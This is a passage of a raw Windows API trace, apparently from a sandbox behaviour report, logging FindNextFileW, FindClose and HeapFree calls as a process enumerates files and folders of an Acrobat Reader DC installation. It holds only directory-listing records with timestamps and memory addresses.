dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0191.329] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0191.330] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0191.330] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0191.330] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0191.330] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0191.330] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0191.330] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0191.330] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0191.331] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0191.331] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0191.331] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0191.331] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0191.331] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0191.331] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0191.332] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0191.332] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0191.332] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4609770 | out: hHeap=0x710000) returned 1 [0191.332] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x8e32, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0191.332] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0191.332] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0191.332] FindClose (in: hFindFile=0x72a588 | out: hFindFile=0x72a588) returned 1 [0191.332] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0191.336] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="walk-through", cAlternateFileName="WALK-T~1")) returned 0 [0191.336] FindClose (in: hFindFile=0x4531980 | out: hFindFile=0x4531980) returned 1 [0191.336] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0191.337] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x15fa5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="rna-main.js", cAlternateFileName="")) returned 1 [0191.337] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0191.337] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="versions", cAlternateFileName="")) returned 0 [0191.337] FindClose (in: hFindFile=0x4531bc0 | out: hFindFile=0x4531bc0) returned 1 [0191.338] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0191.338] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="js", cAlternateFileName="")) returned 0 [0191.338] FindClose (in: hFindFile=0x4531b40 | out: hFindFile=0x4531b40) returned 1 [0191.338] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0191.338] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x369ad2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x10c, dwReserved0=0x0, dwReserved1=0x0, cFileName="variant.js", cAlternateFileName="")) returned 1 [0191.338] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0191.342] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xb58bb396, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Resource0", cAlternateFileName="RESOUR~1")) returned 0 [0191.342] FindClose (in: hFindFile=0x4532280 | out: hFindFile=0x4532280) returned 1 [0191.342] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0191.342] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x191f2bd5, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x72bf0d00, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x12eb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome.pdf", cAlternateFileName="")) returned 1 [0191.343] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0191.343] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3632d245, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x40f9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ReadMe.htm", cAlternateFileName="")) returned 1 [0191.344] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0191.344] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3892d384, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1d9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENUtxt.pdf", cAlternateFileName="")) returned 1 [0191.484] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4609770 | out: hHeap=0x710000) returned 1 [0191.485] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361fbf1d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x8791, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY______.PFB", cAlternateFileName="")) returned 1 [0191.485] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0191.485] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389535d8, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaslPrep", cAlternateFileName="")) returned 1 [0191.485] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0191.485] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TypeSupport", cAlternateFileName="TYPESU~1")) returned 1 [0191.486] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0191.486] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3406a41d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340dcb4c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340dcb4c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mappings", cAlternateFileName="")) returned 1 [0191.486] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0191.486] FindNextFileW (in: hFindFile=0x4531c00, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3406a41d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdeb7fa81, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdeb7fa81, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Mac", cAlternateFileName="")) returned 1 [0191.488] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0191.488] FindNextFileW (in: hFindFile=0x4531c00, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340dcb4c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdebf2192, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdebf2192, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="win", cAlternateFileName="")) returned 1 [0191.491] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0191.491] FindNextFileW (in: hFindFile=0x4531c00, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340dcb4c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdebf2192, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdebf2192, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="win", cAlternateFileName="")) returned 0 [0191.491] FindClose (in: hFindFile=0x4531c00 | out: hFindFile=0x4531c00) returned 1 [0191.492] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0191.492] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3406a41d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340dcb4c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340dcb4c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mappings", cAlternateFileName="")) returned 0 [0191.492] FindClose (in: hFindFile=0x4531bc0 | out: hFindFile=0x4531bc0) returned 1 [0191.492] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4609770 | out: hHeap=0x710000) returned 1 [0191.492] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3406a41d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3406a41d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Unicode", cAlternateFileName="")) returned 0 [0191.492] FindClose (in: hFindFile=0x4531b40 | out: hFindFile=0x4531b40) returned 1 [0191.492] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0191.494] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TypeSupport", cAlternateFileName="TYPESU~1")) returned 0 [0191.494] FindClose (in: hFindFile=0x4531ec0 | out: hFindFile=0x4531ec0) returned 1 [0191.496] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0191.496] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cd6ac1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cd6ac1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cd6ac1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup Files", cAlternateFileName="SETUPF~1")) returned 1 [0191.497] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0191.497] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cd6ac1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cd6ac1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cfcd37, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{AC76BA86-7AD7-1033-7B44-AC0F074E4100}", cAlternateFileName="{AC76B~1")) returned 0 [0191.497] FindClose (in: hFindFile=0x4531980 | out: hFindFile=0x4531980) returned 1 [0191.497] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0191.497] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cd6ac1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cd6ac1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cd6ac1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup Files", cAlternateFileName="SETUPF~1")) returned 0 [0191.497] FindClose (in: hFindFile=0x4532500 | out: hFindFile=0x4532500) returned 1 [0191.497] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0191.497] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdec183d6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec183d6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat Reader DC", cAlternateFileName="ACROBA~1")) returned 0 [0191.498] FindClose (in: hFindFile=0x4532440 | out: hFindFile=0x4532440) returned 1 [0191.498] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0191.500] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x552bd6b8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x552bd6b8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0191.503] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0191.503] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33bf1c6c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xbb3faac8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xde8f7271, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActiveX", cAlternateFileName="")) returned 0 [0191.503] FindClose (in: hFindFile=0x4531980 | out: hFindFile=0x4531980) returned 1 [0191.503] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0191.503] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33e07dd6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33e07dd6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33e07dd6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ARM", cAlternateFileName="")) returned 1 [0191.504] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4609770 | out: hHeap=0x710000) returned 1 [0191.504] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82ac63e5, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0xa87217e, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xa87217e, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Cache", cAlternateFileName="")) returned 0 [0191.504] FindClose (in: hFindFile=0x4531b40 | out: hFindFile=0x4531b40) returned 1 [0191.504] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0191.504] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaf308 | out: 